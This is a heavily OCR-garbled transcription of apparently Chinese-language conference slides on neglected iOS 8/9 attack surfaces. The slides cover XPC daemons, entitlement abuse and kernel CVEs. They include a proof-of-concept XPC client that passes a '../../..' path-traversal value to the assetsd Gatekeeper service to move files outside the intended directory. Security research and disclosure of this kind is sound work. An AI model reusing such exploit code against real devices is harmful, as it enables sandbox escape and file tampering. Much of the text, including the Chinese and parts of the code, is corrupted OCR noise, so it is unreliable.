o

( I s c 201 é Chlnailntte,rnitxslgufts afztre:e

N 2016 e = | th B BX Eh saze’ sistms
LN

AT LSS

EE'f'?EEE l

Bh=Z2EPA
1 ? SN ERAERAT



» BHBIMBEPSREST

|=

 BHBIAARZSIRIRI T

~

o« F14%

AT A=




- BIIREMFE | SIE LS EREATRAE

- ARBPBEZMEEIFES , BiFAndroid, i0S. ZEEXKLA

NEMERATVIRE

+ BP\REZXARMEITIOS 7. 8. I=REERFHIMTR

M

. BB IR AIZ LRSI MOSEC




SRR T

o KEIRDIOSHEHFHIEBEIOSHIZPSCI , FtEik TR
EEBINERNZRIRZ BesRX L

+ VPEMTIMENEES BRI AR REREBE | BRI
ERRERRK

P EIMCEEHITAI LR SE XNARIEE | (BRIKED
EIMCEEHRITEB A EH




BRI E

- BYAPSRRRSCEIMCEHRIT

- PEIMERHEERRE

. PEIMERRENI TR




44

DEIMEESEEERE

REVIEW AND EXPLOIT NEGLECTED ATTACK SURFACES
INIOS 8

The security design of iOS significantly reduces the attack surfaces for iOS. Since
iOS has gained increasing attention due to its rising popularity, most major attack
surfaces in iOS such as mobile safari and I0Kit kernel extensions have been well
studied and tested. This talk will first review some previously known attacks against
these surfaces, and then focus on analyzing and pointing out those neglected
attack surfaces. Furthermore, this talk will explore how to apply fuzzing testing and

whitebox code auditing to the neglected attack surfaces and share interesting

findings. In particular, this talk will disclose POCs for a number of crashes and

memory corruption errors in system daemons, which are even triggerable through
XPC (a lightweight inter-process communication mechanism) by any app running in
THECONTdInEr Sanauox,; dnd andiyze dnd shdre the POTTOr ai ou=or~vounddry

memory access Oday in the latest iOS kernel.
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xpc_connection_t listener = xpc_connection_create_mach_service("com.apple.xpc.example",
NULL,
XPC_CONNECTION_MACH_SERVICE_LISTENER);
xpc_connection_set_event_handler(listener, ~(xpc_object_t peer) {
// Connection dispatch
xpc_connection_set_event_handler(peer, ~(xpc_object_t event) {
// Message dispatch
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_DICTIONARY){
//Message handler
¢

k)

xpc_connection_resume(peer);

¥);

xpc_connection_resume(listener);
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xpc_connection_t client = xpc_connection_create_mach_service("com.apple.xpc.example",
NULL,
0);
xpc_connection_set_event_handler(client, ~(xpc_object_t event) {
//connection err handler

});

xpc_connection_resume(client);

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_double(message, "valuel", 1.0);

xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, message);
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com.apple.PersistentURLTranslator.Gatekeeper BYZ
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/System/Library/Frameworks/AssetsLibrary.framewo
rk/Support/
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+ Assetsd BNMHEO , RAEKEERFRINHFHERR
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« Assetsd tR#EXpc;EEHsrcPath #1 destSubdir ZZEZFREX
RSN EBISUSER R

= ( )PLStringFromXPCDictionary ( s "srcPath");
= ( )PLStringFromXPCDictionary ( s "destSubdir");
if ( lobjc_msgSend(v7, "length") )
{
ABEL_12:
goto LABEL_13;
}

if ( objc_msgSend(v6, "length") )

= ( )NSHomeDirectory();
= objc_msgSend(v9, "stringByAppendingPathComponent:", CFSTR("Media/DCIM"));
= objc_msgSend( , "stringByAppendingPathComponent:", );
= H
= objc_msgSend (&0BJC_CLASS NSFileManager, "alloc"):;
= objc_msgSend( , "init");
= objc_msgSend ( , "autorelease");
if ( ( Yobjc_msgSend ( , "moveItemAtPath:toPath:error:", ’ ;s & ) & OxFF )
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xpc_connection_t client =
X lj: Efog)nection_create_mach_service("com.apple.PersistentURLTransIator.Gatekeeper",

xpc_connection_set_event _handler(client, *void(xpc_object_t response) {
IINSLog(@"here: %@",response);

i

xpc_connection_resume(client);

xpc_object _t dict = xpc_dictionary_create(NULL, NULL, 0);

NSString *dstPath = [@"../../../..[.1.1..[..1.I" stringByAppendingPathComponent:dest];

xpc_dictionary_set_string(dict, "srcPath", [src UTF8String]);
xpc_dictionary_set_string(dict, "destSubdir", [dstPath UTF8String]);
xpc_dictionary_set _int64(dict, "transactionID", 4);

xpc_dictionary_set_int64(dict, "operation", 4);

xpc_object _t reply = xpc_connection_send_message with_reply_sync(client, dict);
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2% MalwAirDrop: Compromising iDevices via
AirDrop, Mark Dowd|, Ruxcon 2015
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8 com.apple.private.skip-library-validation
entitlement )

YER2 : BiOS 83[RAS , shiitiEesdyldZREDYLD_* 3£
BINETE ( BRIERFHIZHE get-task-allow
entitlement )
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» 10S 9 XHRGFHRIFTERTHFUTIUHEBARES get-task-

allow entitlement
. SEIFEEARAHIDDI ( Developer Disk Image ) F$kZ|
Yvpnagent

INT80s-MBP:DeveloperDiskImage INT80% codesign -d --entitlements - .//usr/libexec/vpnagent
Executable=/Volumes/DeveloperDiskImage/usr/libexec/vpnagent
77997<?xml version="1.0" encoding="UTF-8"7>
<IDOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertylList-1.0.dtd">
<plist version="1.0">
<dgct>

<key>get-task-allow</key>

<true/>

<key>keychain-access-groups</key>

<array>

<string>com.apple.identities</string>

<string>apple</string>
<string>com.apple.certificates</string>

</array>
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I0S 9.0#IAF AimilHE

CVE-2015-6974
IOHID A&rurEmifaERssENRIRA ( UAF )

— iR L EEG A% (ERtE + (EEABHT )

i)
http://blog.pangu.io/poc2015-ruxcon2015/
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CVE-2015-7084

IORegistrylterator/r £k {4555 miA ( Race Condition )
—NimBHA L SEEEFIRZ (ER0ttR + {ESAREHT )
#ilan Beer #R545Apple
@LokihardtfEftFABE E TEPER T %R
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- WMHENR
http://blog.pangu.io/race_condition_bug_92/
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CVE-2016-4054

« [OMobileFrameBuffersi @z iziE ( Heap Overflow )
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« com.apple.security.sandboxtEREYmach-okLEk
— _ TEXTERSZKPP{R{F

— _ DATAEEASZKPP{RIF
« __gotAR{R{F I sub REgbiE

LC ©0: LC_SEGMENT_64 Mem: OxFfffff8011998000-0xTTfffff8011lalcOe0 File: Ox0-0xB4000 r-x/r-x __TEXT
Mem: Oxffffff8011999568-0xffffff80119%acle8 File: 0x00001568-0x000141e8 __TEXT.__text (Normal)
Mem: Oxffffff80119%9acle8-0xffffffBA119ac9c8 File: 0x000141e8-0x000149c8 __TEXT.__stubs (Normal)
Mem: Oxffffff80119ac9c8-0xffffff80119b@180@ File: @0x@000149cB8-0x00018180 __TEXT.__cstring (C-
Mem: Oxffffff80119b0180-0xffffff801lalbff2 File: 0x00018180-0x00083ff2 __TEXT.__const

LC @1: LC_SEGMENT_64 Mem: Oxffffff8011alcO00-0xffffff8011a20000 File: 0xB84000-0x88000 rw—/rw— __DATA
Mem: Oxffffff8011alcR@0-0xffffff8011alc5d@ File: 0x00084000-0x000845d0 __DATA.__got
Mem: Oxffffff801lalc5d@-0xffffff8011ald9ed File: @0x@000845d0-0x000859¢e0 __DATA.__const
Mem: Oxffffff8011laldle@-0xffffff8@1laldda4d File: @x@00859e0-0x00085da4 __DATA.__data
Mem: Oxffffff801llaldda8-Oxffffff80llalddfe Not mapped to file __DATA.__common (Zero Fill)
Mem: Oxffffff8011lalddfo-OxffffffBA11laldfd8 Not mapped to file __DATA.__bss (Zero Fill)

LC @2: LC SEGMENT 64 Mem: @xffffff8011a20000-0xffffff8011a24000 File: ©x88000-0xB8c@00 rw—/rw- LINKEDIT
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Wiz mac_policy_register BRZIEIRETHFERZEX
«  FEREEETTHRFEMac_policy_conf.mpc_ops#

— i0S 9.2LAR1 , XN EUEERIRIF(E_DATA.__bssH
BFrwiiE , EASZKPP{RIF

— ERCHENEERETHRENANULLG AT LAKIEENTI8E

iOS 9.2fFmac_policy_conf.mpc_opstiLfzZ
__TEXT._ constmamEH
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